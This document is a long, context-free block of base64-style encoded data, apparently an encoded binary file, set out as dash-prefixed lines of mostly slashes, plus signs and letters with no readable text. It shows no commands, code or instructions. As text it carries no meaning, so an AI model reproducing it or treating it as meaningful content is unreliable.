- V/y1//e/8n//9//m//3f/4H/xe/x9/5vfzmtFv+yP5OI/g///v/72//j1/v9/4+/8B+k6fwf/8P/8/6/ - +Q/+25//gzSdv8f/8Zf/g//CH0jp2X/mD8x/+V/4f/wh5Df977/xL/1D//X/+X/8lX/v/3n+D/7r/+H/ - +ev/n7/D//0f/YENLWD9Kf/hf/Y//Zv/59/6B/4Xf+f/8cW/+Q/+w/9x9X9+9//6V/77P/X3/7/+3P/z - 3h/4r/6NlET47j/43zx49H/9+x//pb////b7/x6/+g/9A//N//A/+wN/9T/7f/0rf+vv8V/9heSe/vKK - Fkb+59/lf/1D/8P/ufo//snf9h/8V5d/6y/7M+//pb////KffPl//c2/x//6P/4H//ef+g/8it/2t/oj - /8F/+/f43/7M//Mn/8D/4Q/8Fd/7F37T/+tv/Q//+z/z9/0//7U/9hf/g//uX/irST/+q//Xn/X7/++/ - ePl//u//4L/9P/77/9ev96v+69//V/+3/+L/8Jj8z3/8v/+///d///f4mZoWZP8d8sj/zl9x95//v/+V - //B/+ZX/2+Ev/AP/pf/09/gvf+X/Of0D/1TS/Z//n//sxZ/4f/27/+p/8rv8338mLbX8r9/9B/636g/8 - 53/bP/B/+7//93sE9O/+Zf/VX/hL/6c/8v/8g//AX1X9vv/330meyf/2T/+D/9Ov/3//kxSd/Ipf///6 - x/7vX/J//rd/wf/5F//fv/z/Xv8ff+H/uU1ryb/6e3/ZH0h+efV/PPz1/8D/42/8Ff/k//Xj/+A/8Z// - j+/+p9/l//rvyQv4X//d//PP/L+vfvWf+0v/79+Fcu9//X/4n/6L//vf+ZuO/8f/81/9I//B/+tv/Qf/ - m3/zl/7K/7n65b/p7/9//uQ/+M/+qf/3f/EX/p+/+jf9v//z3/9//x3/r1948Q/+Z3f/r//qV/+N/9ef - /x/+V3d/9W/5S//x//L//s/+/v/7V9C63f/9D/2B/8mDX938sj/wP/0b/6+r35QCsl/x2z7+36f/97// - D/6qP5H6+cd/j/99+nus/7f/8P/6d/7vX/E3/rJf/uUPfsXf+3/80r/xl/7f3/1NKQP1q//Nw+v/9e1/ - +Kv/6D/wv/237/6qX/nH/B7/9e9//ff++//Xn05pmqtf+R/+qh//v//Mf/BXXX3xF/6ff/wf+R/+/v/X - 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 - f/fv/L/+XHqx+gd/9b/4S/98Sub9X//kn/K7/Lv/11//D/79f9aXf8x/+N9c/apP/q8/+Q/83/7A//On - //df/X/+OX/gv0JO5P/5T//f/9LF//3f/6H/9//w2/4f//z//V/+jf/zLyYf8l//G2nh/U/5A//bX/F7 - /C//7f/1x/yxv8f/8c/Su//X7/hL/1HKxPwfC1rY/e9IP9FCKGXWaLTVr/pzf+l/+tf+mf/gr6z+rz/3 - 7/tVv+Of8H//yf/3r/5r83/5lx6+/S/+yV9BSQZaPv7X/sZf9auX/+ef+g/+y5S9/08pXfS//er/8/gf - /E8oXfqX/Dl//T/7f/x3D/73NaVr/tlf9t9QbuCT/+IP/I//wV/+6/9fv+bf+3//S7/H//Gb/p9/zx/4 - z939337tX0qB+v/2e/xf/+Af+Gf+/s3//Vf+X//Q7/+rf9P//eJfJSv9b/+Bv/ov/CX/46+kJPS/+gf+ - 93/iO3Lpqn/wV/y5lLf6symb8n//JhSJv/vf/rN/81f9j7/0r6V1rL/5f/w//7Uryhf+L7/pr/4X/8B/ - +Ff8lb8LxSm/8n/4O4nZ/63/8Ff/nf/76Ff9tr/y//prZv/j1Z/7f/8p/+Cv/O//wv/pd/w//ox/8Pv/ - 88d/HpmD/+j//j9pDeof/GV/IC1i/EoKT3/l2z//P/jVv////b/9k3/mf0qh0v/1dx7+3/8CGUyi8d/5 - v538X3/nf/iX/R/b//dfQnP6q//+X/q3Pvi//5f/5R/8Jb/0f6v+zwXFrL/87/yMFiv+/P/5v/0r/+9/ - 6jf9X2ly/9t//w+kdPC/T7T/P//b/+vP/b//0V9R/U//5f/1W/6B/131v9z7A8kPbf7PL//5//tPIhf/ - f/vn/+//41/+T/6bf/Y//O9+8R/4y/9GWh/+s/9EMk3//d/5f/yhlPq9+iX/43/9B/6vf+P/9ZP/9//y - T/+PD3/VX/t//80X//d/+1/9/v/H4pf+qb//r/wH/7c/+z/8H8kqU6jyq37T//tf/L/+5z/zH/zX/8H/ - 5RfTGs+///v/il/1f//yv/H//Ev+zX/wfyFN97/+jf/bLz+8+JXwGw7/wf/19/if/t7/4/X//av/x/3/ - /V/8A//Q/3vv//z+L/3jf4//q/rVv+X//c/83//DL68oW/rf//7/6+/xfy5/0//rv/of/+8f/wf/j+pX - /er/66/6/WnJ4b+kZN+v+l3+gn/uD/w7/8f/43f5v//rL//vP4cG8398TtHFv/8H/p//5h/4M//lf/i/ - /7Jf+r/8h//b6//rf//9/7fv/ZL/9vf/d/73B2QZ/8sHn/0H//dv+z/+33f+7/+q+F+v/o9/5nf51b/k - D/xPrn7V//IrfhfKF/16lNylpNmfSdHzmiKr3+f//GN+j09/1T/6S//P//tXf/wH/vn/4H/1r9LS2v/9 - 6H//+8kn+W/+wF/6f/y7/9ev/Zv+gZQ4/G3/jz/j//6H/9p/n3JJNN9/793f/+8np/mv/7//99/lV/0n - v+3//fv9gf9ldfk//ud/4y/7byny+5d/l//z7uL//iP/7//rdyEv4j+m1YT/89//pf/of/gf/Uf/4PWv - +F3+h7/vf/vjf5c/8P/4M/++/+N3/r//l9//P/39/48v/u//5D/87/+r79K4fo//7Df9P//aX/roz/6/ - T/7vf/df/h9p/v/F//tf+At/1X/7O//f/8DdP/Cf/Dv/wf/jf/7y96CU219DuXDKUf3O//ef8Af+vf/7 - Z+RyUmSaV//3v0V9/+u//K/9G/+vf/U//BX/5v/5P/+D/yOxyx/4j/+F/9fb//7//Bvu/tL/5T/7Vf/z - L/sff7//62NSib/qtyTK/Yr/4+P/+9/6/f9Psk7/4H/wj9PK57/4q/9CCrP+6z/x//xd/q+/4J/8v/+N - //uX/4H/93/yf/+fv8vP/F+/4+/0P/z1f+Cf/4/+/v/g//nf/yb/7e//X/6Zv+CX/l9f/sx/+Xf+H9P/ - +w+hxcP/7Tf+d/6T//D/+HP/7//8//7fv3z3f/61/9ff9Hv8V//j/06LcX/37/t//xN/4H/1f/0uf9P/ - +d//LpRK/9+++3+9pczjP/DL/sTfmZIM/+X/+G/8X//EP/hP/6t/6V/4q/7Cf/BX/Lf/wP/V/l8f/59/ - zb//d/6B/9H/+Kv/xP/7H/8D/4u/8H/6bf/PP+T//kX/993/8+//XX7f/+NfJwNLuYw/5R/8b//AX/1H - /l9/0h/4d/2q3/iX/sp/8H/6v//3f+FP/D//dUri/Z3/4n/z+A/8+//3X/F//9F3/6+/6f/+b375v/8/ - /x7/G1JU/+X//av+SgrU/+vf4/94+3/+Bf/3//F//5//7i/91b/L//njZA/+2+/+H7/wr/y///P/8f/4 - n//v//W3/T3+7v/9f/uP/8L/9fP/8+r//td/j1/5q/+v//Mf/Bd+j1/2v/2H//vf/3//2f/Z7/+/f/F/ - /49k9n8Jsek/Sez5B/5ff+T/9R/+g/82KfYv/u8/4R//D9s/8Ff9F78pef9/4t/6q//Af/Nv/N9pdZiy - EP/RH/ir//vf5ej/+htpAfY/+g//r//+//5zyWn8v//3X///+MEv/iv/71/5P/6vf+4v/V9+5f/96/+9 - v+n/9c/+gf/j3f/9T/y//7v8f/lD/+//4q/9/f/b3+V/+xPP/+//9n/8yf/rT6aA9Fe//b//if/wf/97 - /9bfI3/8q37/P/BX/Yn/5z/ze1z8z3/uX/+7/B//2D/4v375N/6Dv+Lq+1gz+gspZv9Dfv//CQ5e8S// - qj/xL/g/f+c/8H/6Zb/iX/zbfo9f9pv+X//m//2v/d+//Df8v/6jf5BklNal/kSa7f/2r/w3/8H/66/8 - Xf7PR//gv/x//1+/4//5Y//gP/HLf9n//b/9m//7X/sL/r5fff//+lP/w1/5m/6f/+Lv8X/9p1/+0j/0 - 9/ivfvEf+A/9Lr/4V/6JtCD6H5E39n9/8n/9pb/LX/Z//7P/9O/yf/6J/8e/9Q//p//47/9/UbrwD6RE - 1D9H/sjP/E9/4+xX/t9/3d/5D/7Lf//v8qv/csqt/oN/4F9PGdj/4+4P/re/8m//A//V/+N//D/+k7/x - //r+L/1r/8t/8N//H//n//D//PX+73/pb/yf/7t/8G+4+2/+g//GP/g///W//E/8u371l//Hn/kP/vP/ - 9//5P/6f/+m//Q/+n3/j/331D/77vws5uOPfg1Yd/9Z/8Jf/g//330te/H/39/yf//wv/Wv/w//1H/zf - /ts/8V/9A/+3u9cU7Pz7//d/+zf+B//Xb/l//1v/4S9b/6r/4u/c/r//i//un/3f/84f/Kp/9+//Afmp - 4z/w3/z9/+f/rPo/PyMd/T//g//7f/t//Zf/4f/2e1z/n5//X9Uf+Q/+Z1e/+o/9v/+if5ASH//hL/2V - //f/+j/+u/9780t/1e/xy//b//NP/wP/sep//R3/7wcke//hf/Wf/Zv/xxc0X//Xvf/7X/4D/7urT2i9 - 9lf84j/w/8ICwhf/93//P/5P3/s/Pvu3/8f/4+4v+d9/5f6v/w/+it+f1gd/vV/8B/7Df+Xv8t3/+3+4 - +3f/yn/7v/xv/8D//H/8P//RX/qH/oP/47/5f375B/6D//d/9Cf+X7/7H/gv/Bt/52/6f/+t/+B/9uWL - f+D//t7/8R/+lf/gv/p7/KoH/+cv+Bv/r7/iwT/4L//T//f/+Yv/zxd/4H919//682kF9X/7G3/17/5/ - /0v/+T/93/xn3/0//9J/8f/+X3+P/+g//N8OKW38v/0e//v/+af+tf/hf1396v/k1/+//60v/88/9g/8 - p//v//XBL/m/Pv8PfvUf+X//U/835af++P/r//r9abX3l/29lBz6RymV8beTNPxf/9s/+Qv+z0f/4//1 - P/3f/+uXv/qPPPq/v/wD/8x/8Ff8pv/nn/9//Qu/x3/6b/6D//d/+Ev+j1/9f/1b/8l/+H/e/QP/0r/w - f/tP/uu7/+d/+Qf+Nw/+9z+SGv0u/9v/+Et/9YMf/G///f9CXvP/9af93//X7P/+G//375J2/L9/j//9 - 9/+//urf43/77v9JC07/4f/1v/6B/9I//Lv8HyQq1f/5z/6Dv2L6B5Jd/RP/j3/g//43/8Y/8P/+9/9T - Sqz+gb/8z/37/7ff+P/6o3/Vf0WBwX/4f335f/zT/+B/XP0Mha/fA3v+4v/jd/wP/sOH/9s/+n/9Q//q - f/if/6aPfjWlw//vX/E//bG/x3/04Lf7P3/xH/hP/f6/nNbRKIH+B37v//oFv8f/9ftTMv1//o8phPk/ - /pBfUf3dfysp0z/hXySt9ftf/t9f/qq7/+C/83/9XiSA/+nf+H//0b/Hf/QP/u9/7//1q/71358k+L/7 - XX7V7/X7f3Hxn/+Fv/z3+J3+wP/9D/g//sD/+9/9B/+z//t///4f+Lf+g7/0v/wT/+8H/9f/+Hd++X/9 - C38sqbL/7Xf5A//dv/L//rf/71/x+//ff8v//T//m//HL/srfuX/8H9/8n//V//p7/9v/R+/wz/4X5PT - 9wf+L7/jZ//3P/9v/oO/199DCcs/+R/8t//c//A//8/+TkpX/1P/4X/9Z/4H//ff/gf+tf/g//V7/F/3 - iJK/6v/6A3/Fb/rf/4PP/9V/ufpf/sf/k6Kku//bH/p//+v/4X//5a/683/pn/oH/l/f/b9+yT/4v/6H - v/J7/+cv/L///eqX/ye/y//+7//SP/8P/I/+xv/jqz/x//4H/u//9J/8Zyi5RGEKrbX86X/i//1PXvyD - //Rf+Mv/wv/z+PP/+z+o/pfP/+W/5N/9G/+Pf/OX/sN/4d9BGdHs/6YE/W/6S//t//t/+t6//6t+/Jf+ - g//3f1f96i/+r7/jH1z+H7/t//Fn/pv/93/yb/z+/+uv/j/f/oH/we//y//K//Nv+W//7//oz/w//xDK - 1FOTv+L3+O/u/up////6C/7v/+VvvfsH/hfXv/r3+r//nv/l9/8//rc/87P/67+ljObb//U//QP/kf/x - V3/89//dtMTwT/2B//G/+L8/+Av+73/kf/k3/4//9Jf+F//kH/h/V//3p/83LXT9zv/3P/dP/oP/5T/4 - v335fWKef+8//Q/Pf8Xf+zv/c//33/OP/rd/IqWxrw7/7/+U8p3/FzK8/8fdP+H/+kt//7/rV1T/1//1 - D/67/9sfeP0//y7/x7/6B/4+tOJ08Q/+q9Uv+/Jfrv756lf+jpT4+sf/xf/j/N+k1MH//Y//+/8hLT/8 - Lv/XX/Uf/ke/8lf/k0e0BPFf/6O//3/5B/5vf/8f+Mf/3zQNd//vv/X3+L+rX/0b/xP/9f/9v/67lPr4 - P/7B//tX/t9/yO/xK/7n/7v9n37T/+vqH/znf5f/9Tf9v/7Xf/C/+cf/wP/p9//j/++/+//+7/7OX/Xv - /h3/11/6X/yn//f//Hv84v/9f/w/f+wP/Jf/wV/x7/5ff+Jv+jf+Lr/v//n2H/zv/8L/7e7/+UsP/+9/ - j4byH/7q3/8/+Pd+1V/5S//4P7D8v/7Cz/6+/4uW9H59ig/+x3/xF1/+8v/5//7frv7PH/u//9W/8H99 - 8H/+D3/gv/L7/6rP/7vf9/9e/6b/19/8+//qP/P/ePTf/4Xt//Hv/p9H//c/9T/+sre/9H/9PShX8H/8 - pv/7H/83/I3/96/+v/+H//F//yt/6T/+2/6D//df+Kv/x//7Jz//v//T//T3+E/+wf/jb/y//vn/8L// - T//1//wP/F+v/s8vyYb8in/2D/xn/8P/9vf/3/9B4qb/6vf/Vb/hES9M/Td/56/+8/+bP/C/ufriD/w7 - //q/9Pf436/+zx///F/8v/+H3+N/ogzZv0pJvv/97r/1v/8vf+Ov/nspDfw/0br8v/J7/Nf/Ji3j/rL/ - 9v88+wP//X/wV3z3z/s/Ty4ooftX/4f/x9X//vv/0vL/+nv/j8Uf+A+R5f79aC3tP6W44JNf+tf/mbQg - /n/+k//g//Q//IV/wb//q/7SX/rn/of/0e/xq/7+3/SX/pW//y/7W/9A8rG/+0v/UnIr/6f/+nf53/7c - /+Mv+A//z8//m//9f/6H/8D/6fc6/6//b4r/z//AL3/1X0iez6/4H/+nf/L/+sH//d9Xv7r6Py7/wP+h - +p/+yv/rj/k9/ou/83//6g/8X/7HX1n9bf/3f3v3V//1v/T/vkuU+gf/j7/y//47MLl/6y/9E6v/+4/4 - A//Z3+NX/Y7/969LtvdX/I7/53/yh9Lyyf/5i//V3+N//bf/xf/jb6b809/1v/3Zv8d/9R99+X/+yl9K - ufD/+OM/8Lv/89/4f/4D/zQlSf/v7P/+b/7Gv/Pv+78//7//2f/7H/oH/2xa//xXfpf/42Py8v/96v/6 - b/+vP+Mf/G+rP/f3+7+++MX/4Iv/8+/9v/+U//s/+/J//8/+9we/+uNfSnn9/+kBOfn/5m9LoTflW369 - P/Cf/lP/wP/9T/0bf+nfT+tBf+L/+Tv/HuR8/mLKzv+Bv/y3/b/yf/D//F//b8p6/c+////5H/6B//u/ - 8H9TfPF7/Oo/8Zf+87///3z4f53QsH71x//HX/jfU4T/9v/8CylzQanO3/0f/NV/4f/0q//v03+Q3GFy - Y//If/H/+ut+l19Nufr/kJI3f/3//bf/Hv/V1f/xd/6Bf+5/+B//jf/nP/t//yt//X/zd/7i/+U3/L/+ - 49/jL/27fuX/+H/9lX/h/00j+Bspj/qTf+A/9Bf+8t/l/9r+v/+R3+V/+j/+xP/tz/+//4l/8P+++7// - 03/gf/P7/++/y0/+3//6H/i/X/3fz/7B/+sP/DP+jz/1H/zX/43qf7r7f/851Ytf+u/+h//5g//9N/6/ - /rTf///+T34lqaj/47f9v//7v/D/+hf/zz/2H/zqV//jX/4fL67+wD/0H/wVX/7vv+3/+n//Sb/H//gv - /upfdvnse//3f0vm9a/8W//AX/EP/t2kr/7OP5DWckjH//W////1y/7B+v/+Ff8s6b4/8B/4v/72X/B/ - /vhf+H//Y//b3/mrfsNf+qv+j4s/5T/9H//N3////Oz//ler/+UP/D+u/sH/4j/8n67+z1/0D/7q//t/ - /S9+5a/6vf7Av/X3+K+//CX/1z/4p/2H34En/Xf+73/tL/07f4//8y8kB/jv/Zf/w1/+Vx79h7/6r/wD - /8p/8JP/84/8r/7J//F//Xv/z9ff++X/41/4v9/94/+v7f/9V/6qf+EP/Nu+/L//h//zu7/+//2v/h6/ - 1+J3+V3+j+of/C9p4ev/PvsD//d/9ff/Tx/8zP/+4P+883/ntCxy/h/+X3/+L/339//v1//Xn/1//Krf - 5W//ZX/K//V/XfzSX/U/kjP2v/2K/+p//D3+c7K6v8v/+Ws+vP+rfsnv/3/973/t7/EfXf1dFB382X/g - f/eb/jkUqP8nf+f/8fr/+lP+78m//3/9uf/1X/gr/8b/4+QP/G//6f/jf/y/t8n//r/+xV/1+3/3//43 - /sm7/8sf+/v/p7/y//r1f+l/8d3/86/46hc//nP//t/vy1/61/+B/9nf+X/89//lP/hf/3f/4//2i//v - f+QP/Q9/efm//rn//l9//g/+3//L1a/66h/83/6Xf5ZWa//+v/Z//5W/x+/z1/2vf+G//q//hb/87/2/ - /pr/O/uf/57/89/4H/+X/+Yv+j+2/8FfefHZL/nl/+kf+J/857/L//xX/p/f+zf/wX/yL/wVv/j/+It/ - 5d1f+n9+/M9X/+vf+/f9b/d/6Z/5H/7Pv8f/9bf/Ob/H/3z1V/9f/8if+X//z//NX/i//7t/4D/6q778 - P//J3+N//fL/XtAay6/8Hf+v3/Af/N/+4b+QnNFf+Z/+/v/p//3iD/zVn/+J/9c/+S+Osbj6b1W/6u7/ - +Y/+qX/gf/xv/uq/8//61/7aX/Gn/of/5e/x2//fv95f+H9N/8B/9D+5+7/9kj/wL/0P/+M/8H/7r/7N - /+Nv/RPGf+Af/xfSuv8/9wdW/8sf8rf9o//gL/tdvvgD//7/5e7//of+X//Ar6KUwoM/8L/4D//ZX/rX - /qX/4H/1b/7iv+f//sX/1+91COvzv/y2/9fiH/wn7/4fv+QP/Pv/w//kn/+nf/B//INkZX/y7/gV//P/ - +L99/H9+Qb7YP0ie3Nk/+I/+/leUqfpD/8F/4T/+G3/V1f/16/2F+9/93j/4P/+F/9u/+39l//d/+tcS - Yf+3P/7/+iP+w//oP/w/f6+Lv/X3+G//zof/57/7B/7Tf+U/+G//b//j//3b0rrWnV/1L1Ku4H/5E3/1 - X/8lrTL90r//L/w/aBHq96dU0OL/pvju9/g//1RSu//L1f/1b1AC9ld/+Q/8qi/+11/67/8ev/zq9/jf - /4fqV1/9i//3P/of/q9/1z/wv13QIvH/8j+S2fh3f/8/6eifPv+//4Vf+X/90//hf/MX/urt/+u//g// - 6wef/e8f/9//8u//K//TP/C/+Tv/r3/1/Ff9vf/jL/1fPv4//+Y/8w/8l34PWnuf/oH/8P/4qz7+Py// - w1/8+/2fvzn18Sf9Hz+F0OFX/Y//67//f/8P/+b/8dn//ff8gf/zP/joV/1elOn6r//Dv+6XUdD6M7/q - z/0///D/+r/9D/+7X3n0v/+Gf+Bf+x/+97TG8X/9R3/ho+/9df/MH/i/VH/u//Uf/IFkvf/O7/8fL/7A - f+Lu//E3/4f/5+//f/z5v/SX/YX/xz//D/7f/8X//X/98//3P/YP/vX/+/r/+pv+k7/w//5D/69/+v/+ - 0/4Bir//adJ4v91f+Dv/X3/p/01LNf/Hn/lX/IP/+B/4v/y5tCb5v/6P/+d/SImA/+AP/D/+QMLqn/g9 - /td/8//4C/7vf/ZX/gV////+n/6bv+r//hV/7v/9O/6mv/TfpAQy+Yj/zh/4f5L9/x9JPP+FP/BX/IX/ - 5z/+f/+K6n/5xf/X4T/4v/2d/9vF7/J//Dm////11R/4b/0uv+zX//3/jz/jD/xnqz/r//rBP/sH/s3/ - x8cUtPxf/8Z/+N8++LuP/q8/nFJR/8e934NygZd/4L/1F/7qj//Pz//Af+r3+F/+yv/jD/+//6l/8E/7 - v/7i/3vxv378f/45/yYB/9/+xv/jt/kHv1fTKtk1OSW/vPq/f5t/8L/8Y3+PX3X1g1/9vf9r+bv834/+ - 73/tT6R04u9D2fO/p/oD/324YNtkh0n5/v6/9I//b3+P//HB//lX/oH/7G/7D/6qv5DyIH/6H/irq//r - 3/0//uI/8F+ufsn/8eBn/oz/Y/f//l9+j9//xf/9D/2Rf+B/9zdSzv1foPwURQKn//c/97/9tv9X9X// - T7/LL/1ffv/q/6YUwe//K371P/B/0FT8gf/Tf/Pv/42/mtYifr1/8d/5D//Tf/e//8+u/q/f+B/8Zd/7 - v36TP/A//2t/j//s3/1b/8H/6S/8B0b/wh/4v3z5v//h//e//G//5//3r3r7f7z+B/+Df/D//vj/+jX/ - wf/iL/xfv/d//Zd/4H/7+/+dv+KvpVTtL/tt/zRKhf6KX/1//tQf+G/9g69J1f6TFClW/+fy//7v/u// - 9Vf/33f/wX/1//5f/uvf/5f9sxQj/w//6e//f939P19Uv8vf/79P/6+/8vAf/Df/71/+4P/+zf/C/+Ov - +T//w1/+D/7q3/8P/I//x1/x9/5ff+gf+M/8g//bf0iB17/9B9Ly6O/zD/67f+Dv/3/8D7SEe////sP/ - 73/pf/wVf+T/8b//in+BMq6/8f/1757/t//mP/B/ffJ//Xf/939FYeX/9Zff/b/+9d////4D//fq9/+/ - /nEKZn7l2//j8P/+136Pq//jv/pNCTKlz371//2vVJRvmf7f/9Y/+Cv+h3/xV739v/7m//C/+w8pOvmr - /8Nf8fvP/++/n2hE6ea/+b/9A/+rv/FX3/8F/9dv/Af+0/9D9St/w7/g//iN/8F/9K/9v//j3+V//zf+ - QErI/nr/4K/6B3/5v0wZv//jD4UP9zv+X9UVGbdf/ff+g//+f/VPPvsD/5O7/8cv/wf/z9P/+x/6X37b - /5OW+ap/5f/6J/7vf/j3+F/+yf/rnyVL9Sv+w//r/Hv/4H/x3/0e/8df/wf+9X/gf/sP/v3/22/5f/9z - //ev+rf/1v/jT6Ss9//5V/+D/+3vcvXLf8f/48U/+KtIof2fY1ovXP0f/+Df/6t+xd/xf/0ffyulHr78 - VYd/4D/79/+H/90/+O//6v/jX/zV937pf/f3/oP/dPV//7f/1y/8A//V3+VX3/3L/8D/5A/8+3/lxxRp - /Rf/29/5f/6K//uv/v1/dfar/tNf/Q/+qv+TePWPpxzv/3r3/7j/B/53f+Gvvv9//8W/x//xJx7933/n - P/Ar/8E/8H/5bYmP/rPf5f/4TWm9+h/+XX71f/G7/F/rX/rf/4f/ze/yf/0ev9//+f3/8P/6/X+T//tv - +z1++f/9v33xf/8jf+B/9u/+Hvd/9R/5S//Tf/A/+l0ozPqv/8b/62/9A//Nv5Jcsv87/1//wP87+wP/ - p//6T/1j7/7ff9n//Z//iZ+QyP+f/+af/n//x//g//Xv/p//zh/4H/we//Nf+Tf8338Tuc//26/9e/zv - 9/+DP4+yC//47/G//If/1//+f/8PFI2SA/97/O9/4q8++W3+wX/8ryX/+B/8v+7+kv/lwf/1j/6Pv/Qv - /L//r1/5qw9pVem/+b//t//wb/i//qb/8H/8Tf/v3+OX0hrOH0hxzT//y//B//13/wP/zX/6D/yf//3f - /z/9N//v/+t//OX/9O/R/srf45/+v/6Bf/U//OU/TYsUl//gf/SAshH/05/4f/35v8f/+Sv/7wf/wl/4 - 